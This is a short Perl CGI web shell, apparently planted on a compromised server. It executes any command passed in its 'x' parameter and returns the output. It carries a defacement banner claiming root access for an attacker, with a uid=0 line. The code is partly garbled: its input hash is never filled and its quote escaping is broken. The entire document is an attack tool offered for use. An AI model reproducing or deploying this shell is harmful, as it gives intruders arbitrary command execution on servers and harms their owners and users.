#!/usr/bin/perl -I/usr/local/bandmin print "Content-type: text/html\n\n"; if ($F{'x'} eq '') {&a} else{$FQ = $F{'x'}; $FQ =~ s/\"/"/g;&a;print '
';print `$F{'x'} 2>&1`;print '
'}sub a { print <<"(END HTML)"; [RooTed Server By H3rcule-32] 

H3rcule-32  Safoine Sassi waS herE

| ATTaCk FrOm Tunisia |

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

 (END HTML) }